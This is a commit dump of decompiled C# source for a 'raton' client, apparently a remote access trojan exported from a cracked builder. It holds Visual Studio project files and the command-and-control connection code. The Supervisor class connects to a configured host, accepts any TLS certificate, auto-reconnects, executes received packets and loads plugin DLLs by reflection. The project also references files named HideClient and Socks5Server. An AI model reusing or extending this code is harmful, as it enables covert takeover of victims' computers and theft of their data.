initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
Binary file not shown.
@@ -0,0 +1,73 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
"RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
}
],
"DocumentGroupContainers": [
{
"Orientation": 0,
"VerticalTabListWidth": 256,
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 8,
"Children": [
{
"$type": "Bookmark",
"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
},
{
"$type": "Bookmark",
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
},
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "HandlePacket.cs",
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
"RelativeDocumentMoniker": "HandlePacket.cs",
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
"RelativeToolTip": "HandlePacket.cs",
"ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
"WhenOpened": "2026-03-24T18:57:20.727Z",
"EditorCaption": ""
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
}
]
}
]
}
]
}
+73
View File
@@ -0,0 +1,73 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
"RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
}
],
"DocumentGroupContainers": [
{
"Orientation": 0,
"VerticalTabListWidth": 256,
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 8,
"Children": [
{
"$type": "Bookmark",
"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
},
{
"$type": "Bookmark",
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
},
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "HandlePacket.cs",
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
"RelativeDocumentMoniker": "HandlePacket.cs",
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
"RelativeToolTip": "HandlePacket.cs",
"ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
"WhenOpened": "2026-03-24T18:57:20.727Z",
"EditorCaption": ""
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
}
]
}
]
}
]
}
+16
View File
@@ -0,0 +1,16 @@
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright © 2026")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("f35dc6cd-26df-457e-9d61-9d6d24c5375c")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
+73
View File
@@ -0,0 +1,73 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<FileAlignment>512</FileAlignment>
<LangVersion>10.0</LangVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="MessagePackLib">
<HintPath>..\Raton\lib\MessagePackLib.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="netstandard" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="ClientBridge.cs" />
<Compile Include="Config.cs" />
<Compile Include="HandlePacket.cs" />
<Compile Include="HideClient.cs" />
<Compile Include="MutexControl.cs" />
<Compile Include="Socks5Server.cs" />
<Compile Include="ShareClient.cs" />
<Compile Include="SillyClient.cs" />
<Compile Include="Client_ProcessedByFody.cs" />
<Compile Include="Client\Properties\Resources.cs" />
<Compile Include="Client\Properties\Settings.cs" />
<Compile Include="Client\Raton\PacketReader.cs" />
<Compile Include="Client\Raton\PacketSender.cs" />
<Compile Include="Client\Raton\Protocol.cs" />
<Compile Include="Client\Raton\ClientState.cs" />
<Compile Include="Client\Raton\Supervisor.cs" />
<Compile Include="Costura\AssemblyLoader.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Client\Properties\Resources.resx" />
<EmbeddedResource Include="costura.metadata" />
<EmbeddedResource Include="costura\costura\dll.compressed" />
<EmbeddedResource Include="costura\costura\pdb.compressed" />
<EmbeddedResource Include="costura\messagepacklib\dll.compressed" />
<EmbeddedResource Include="costura\system\buffers\dll.compressed" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
BIN
View File
Binary file not shown.
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client.csproj", "{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+46
View File
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: Client.Properties.Resources
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
#nullable disable
namespace Client.Properties;
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (Client.Properties.Resources.resourceMan == null)
Client.Properties.Resources.resourceMan = new ResourceManager("Client.Properties.Resources", typeof (Client.Properties.Resources).Assembly);
return Client.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => Client.Properties.Resources.resourceCulture;
set => Client.Properties.Resources.resourceCulture = value;
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+21
View File
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: Client.Properties.Settings
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
#nullable disable
namespace Client.Properties;
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default => Settings.defaultInstance;
}
+17
View File
@@ -0,0 +1,17 @@
// Decompiled with JetBrains decompiler
// Type: Client.Raton.ClientState
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
#nullable disable
namespace Client.Raton;
public enum ClientState
{
Disconnected,
Connecting,
Connected,
Ready,
Disconnecting,
}
+115
View File
@@ -0,0 +1,115 @@
// Decompiled with JetBrains decompiler
// Type: Client.Raton.PacketReader
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net.Security;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
#nullable disable
namespace Client.Raton;
internal class PacketReader : IDisposable
{
private readonly SslStream stream;
private readonly BlockingCollection<byte[]> queue;
private const int OneMb = 1000000;
private const int TimeoutMs = 30000;
internal PacketReader(SslStream sslStream, BlockingCollection<byte[]> targetQueue)
{
this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream));
this.queue = targetQueue ?? throw new ArgumentNullException(nameof (targetQueue));
}
internal async Task Run(CancellationToken token)
{
byte[] sizeBuf = new byte[4];
while (!token.IsCancellationRequested)
{
try
{
ConfiguredTaskAwaitable configuredTaskAwaitable = this.ReadExact(sizeBuf, token).ConfigureAwait(false);
await configuredTaskAwaitable;
int int32 = BitConverter.ToInt32(sizeBuf, 0);
if (int32 <= 0 || int32 > 5000000)
{
this.LogError($"Invalid packet size: {int32}");
throw new IOException("Invalid packet size");
}
byte[] payload = new byte[int32];
configuredTaskAwaitable = this.ReadExact(payload, token).ConfigureAwait(false);
await configuredTaskAwaitable;
if (!this.queue.IsAddingCompleted)
this.queue.Add(payload, token);
payload = (byte[]) null;
}
catch (OperationCanceledException ex)
{
sizeBuf = (byte[]) null;
return;
}
catch (IOException ex)
{
this.LogError("Read error: " + ex.Message);
sizeBuf = (byte[]) null;
return;
}
catch (Exception ex)
{
this.LogError("Unexpected error in PacketReader: " + ex.Message);
sizeBuf = (byte[]) null;
return;
}
}
sizeBuf = (byte[]) null;
}
private async Task ReadExact(byte[] buffer, CancellationToken token)
{
int num;
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
using (CancellationTokenSource linkedCts = CancellationTokenSource.CreateLinkedTokenSource(token, timeoutCts.Token))
{
for (int read = 0; read < buffer.Length; read += num)
{
linkedCts.Token.ThrowIfCancellationRequested();
num = await this.stream.ReadAsync(buffer, read, buffer.Length - read, linkedCts.Token).ConfigureAwait(false);
if (num == 0)
throw new IOException("Connection closed by remote");
}
}
}
}
private void LogError(string message)
{
try
{
Console.WriteLine(string.Format("[PacketReader] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
}
catch
{
}
}
internal void Stop()
{
try
{
this.queue.CompleteAdding();
}
catch
{
}
}
public void Dispose() => this.Stop();
}
+97
View File
@@ -0,0 +1,97 @@
// Decompiled with JetBrains decompiler
// Type: Client.Raton.PacketSender
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System;
using System.IO;
using System.Net.Security;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
#nullable disable
namespace Client.Raton;
internal class PacketSender : IDisposable
{
private readonly SslStream stream;
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
private const int TimeoutMs = 30000;
internal PacketSender(SslStream sslStream)
{
this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream));
}
internal async Task Send(byte[] data)
{
if (data == null || data.Length == 0)
return;
await this.sendLock.WaitAsync().ConfigureAwait(false);
try
{
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
{
byte[] bytes = BitConverter.GetBytes(data.Length);
ConfiguredTaskAwaitable configuredTaskAwaitable = this.stream.WriteAsync(bytes, 0, bytes.Length, timeoutCts.Token).ConfigureAwait(false);
await configuredTaskAwaitable;
int chunk;
for (int offset = 0; offset < data.Length; offset += chunk)
{
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
configuredTaskAwaitable = this.stream.WriteAsync(data, offset, chunk, timeoutCts.Token).ConfigureAwait(false);
await configuredTaskAwaitable;
}
configuredTaskAwaitable = this.stream.FlushAsync(timeoutCts.Token).ConfigureAwait(false);
await configuredTaskAwaitable;
}
}
catch (OperationCanceledException ex)
{
this.LogError("Send timeout");
throw new IOException("Send timeout");
}
catch (UnauthorizedAccessException ex)
{
this.LogError("Send unauthorized (Administrator)");
throw new IOException("Send error");
}
catch (IOException ex)
{
throw;
}
catch (Exception ex)
{
this.LogError("Send error: " + ex.Message);
throw new IOException("Send failed: " + ex.Message, ex);
}
finally
{
this.sendLock.Release();
}
}
private void LogError(string message)
{
try
{
Console.WriteLine(string.Format("[PacketSender] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
}
catch
{
}
}
public void Dispose()
{
try
{
this.sendLock?.Dispose();
}
catch
{
}
}
}
+15
View File
@@ -0,0 +1,15 @@
// Decompiled with JetBrains decompiler
// Type: Client.Raton.Protocol
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
#nullable disable
namespace Client.Raton;
public static class Protocol
{
public const int OneMb = 1048576 /*0x100000*/;
public const int MaxPacketSize = 5242880 /*0x500000*/;
public const int SizeHeaderLength = 4;
}
+302
View File
@@ -0,0 +1,302 @@
// Decompiled with JetBrains decompiler
// Type: Client.Raton.Supervisor
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using Stuff;
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Threading;
using System.Threading.Tasks;
#nullable disable
namespace Client.Raton;
internal class Supervisor
{
private readonly SillyClient owner;
private CancellationTokenSource cts;
private Task loopTask;
private TcpClient tcpClient;
private SslStream sslStream;
internal PacketReader Reader { get; private set; }
internal PacketSender Sender { get; private set; }
internal ClientState State { get; private set; }
internal Supervisor(SillyClient client) => this.owner = client;
internal void Start()
{
if (this.loopTask != null && !this.loopTask.IsCompleted)
return;
this.cts = new CancellationTokenSource();
this.loopTask = Task.Run((Func<Task>) (() => this.Run(this.cts.Token)));
}
internal void Stop()
{
this.State = ClientState.Disconnecting;
this.cts?.Cancel();
this.Cleanup();
this.State = ClientState.Disconnected;
}
private async Task Run(CancellationToken token)
{
Supervisor supervisor1 = this;
int backoff = Config.Reconnect;
while (!token.IsCancellationRequested)
{
try
{
Supervisor supervisor = supervisor1;
supervisor1.State = ClientState.Connecting;
supervisor1.LogInfo("Connecting to server...");
BlockingCollection<byte[]> packetQueue = await supervisor1.OpenConnection(token).ConfigureAwait(false);
supervisor1.State = ClientState.Connected;
backoff = Config.Delay;
supervisor1.LogInfo("Connected successfully");
supervisor1.InfoStuff();
CancellationTokenSource processCts = CancellationTokenSource.CreateLinkedTokenSource(token);
Task processorTask = Task.Run((Action) (() =>
{
try
{
foreach (byte[] consuming in packetQueue.GetConsumingEnumerable(processCts.Token))
{
try
{
supervisor.owner.HandlePacket.Run(consuming);
}
catch (Exception ex)
{
supervisor.LogError("Packet handling error: " + ex.Message);
}
}
}
catch (OperationCanceledException ex)
{
}
catch (Exception ex)
{
supervisor.LogError("Processor task error: " + ex.Message);
}
}), processCts.Token);
await supervisor1.Reader.Run(processCts.Token).ConfigureAwait(false);
supervisor1.LogInfo("Connection lost, cleaning up...");
processCts.Cancel();
try
{
await processorTask.ConfigureAwait(false);
}
catch
{
}
processorTask = (Task) null;
}
catch (OperationCanceledException ex)
{
supervisor1.LogInfo("Supervisor cancelled");
break;
}
catch (Exception ex)
{
supervisor1.LogError("Connection error: " + ex.Message);
supervisor1.Cleanup();
supervisor1.State = ClientState.Disconnected;
try
{
supervisor1.LogInfo($"Reconnecting in {backoff}ms...");
await Task.Delay(backoff, token).ConfigureAwait(false);
}
catch
{
}
backoff = Math.Min(backoff * 2, 15000);
}
}
supervisor1.Cleanup();
supervisor1.LogInfo("Supervisor stopped");
}
private async Task InfoStuff()
{
if (this.owner.HandlePacket != null && this.owner.HandlePacket.IsDllLoaded)
{
if (this.owner.HandlePacket.DllAssembly != (Assembly) null)
{
try
{
MethodInfo method = this.owner.HandlePacket.DllAssembly.GetType("Core.EntryPoint", false, true)?.GetMethod("SendInfo", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
if (method != (MethodInfo) null)
{
ClientBridge clientBridge = new ClientBridge(this.owner);
method.Invoke((object) null, new object[1]
{
(object) clientBridge
});
return;
}
}
catch (Exception ex)
{
this.LogError("InfoStuff DLL error: " + ex.Message);
}
}
}
Pack pack = new Pack();
pack.SetString("Packet", "DLLStart");
this.Send(pack.Pacc());
}
private async Task<BlockingCollection<byte[]>> OpenConnection(CancellationToken token)
{
string host;
int port;
this.ResolveHostAndPort(out host, out port);
IPAddress[] hostAddressesAsync = await Dns.GetHostAddressesAsync(host);
Array.Sort<IPAddress>(hostAddressesAsync, (Comparison<IPAddress>) ((a, b) => a.AddressFamily != AddressFamily.InterNetwork ? 1 : -1));
Exception exception = (Exception) null;
IPAddress[] ipAddressArray = hostAddressesAsync;
for (int index = 0; index < ipAddressArray.Length; ++index)
{
IPAddress address = ipAddressArray[index];
BlockingCollection<byte[]> blockingCollection;
try
{
this.tcpClient = new TcpClient(address.AddressFamily);
if (address.AddressFamily == AddressFamily.InterNetworkV6)
this.tcpClient.Client.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
this.tcpClient.NoDelay = true;
Supervisor.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
this.LogInfo($"Attempting connection to {address}:{port}...");
Task connectTask = this.tcpClient.ConnectAsync(address, port);
Task task = Task.Delay(10000, token);
if (await Task.WhenAny(connectTask, task) != connectTask)
throw new TimeoutException("Connection timeout");
this.sslStream = new SslStream((Stream) this.tcpClient.GetStream(), false, (RemoteCertificateValidationCallback) ((sender, cert, chain, errors) => true));
await this.sslStream.AuthenticateAsClientAsync(host);
BlockingCollection<byte[]> targetQueue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
this.Reader = new PacketReader(this.sslStream, targetQueue);
this.Sender = new PacketSender(this.sslStream);
this.LogInfo("SSL authentication successful");
blockingCollection = targetQueue;
}
catch (Exception ex)
{
this.LogError("Connection attempt failed: " + ex.Message);
exception = ex;
this.Cleanup();
continue;
}
host = (string) null;
return blockingCollection;
}
ipAddressArray = (IPAddress[]) null;
throw exception ?? new Exception("Unable to connect");
}
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
byte[] optionInValue = new byte[12];
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
}
private void Cleanup()
{
try
{
this.Reader?.Dispose();
}
catch
{
}
try
{
this.Sender?.Dispose();
}
catch
{
}
try
{
this.sslStream?.Dispose();
}
catch
{
}
try
{
this.tcpClient?.Dispose();
}
catch
{
}
this.Reader = (PacketReader) null;
this.Sender = (PacketSender) null;
this.sslStream = (SslStream) null;
this.tcpClient = (TcpClient) null;
}
private void ResolveHostAndPort(out string host, out int port)
{
host = Config.ht;
port = Config.pt;
if (string.IsNullOrWhiteSpace(host))
return;
string str1 = host.Trim();
if (str1.StartsWith("http://", StringComparison.OrdinalIgnoreCase))
str1 = str1.Substring(7);
else if (str1.StartsWith("https://", StringComparison.OrdinalIgnoreCase))
str1 = str1.Substring(8);
int length = str1.LastIndexOf(':');
if (length <= 0 || length >= str1.Length - 1)
return;
string str2 = str1.Substring(0, length);
int result;
if (!int.TryParse(str1.Substring(length + 1), out result))
return;
host = str2;
port = result;
}
internal Task Send(byte[] data)
{
PacketSender sender = this.Sender;
return sender == null ? Task.CompletedTask : sender.Send(data);
}
private void LogInfo(string message)
{
try
{
Console.WriteLine(string.Format("[Supervisor] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
}
catch
{
}
}
private void LogError(string message)
{
try
{
Console.WriteLine(string.Format("[Supervisor ERROR] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
}
catch
{
}
}
}
+94
View File
@@ -0,0 +1,94 @@
// Decompiled with JetBrains decompiler
// Type: ClientBridge
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
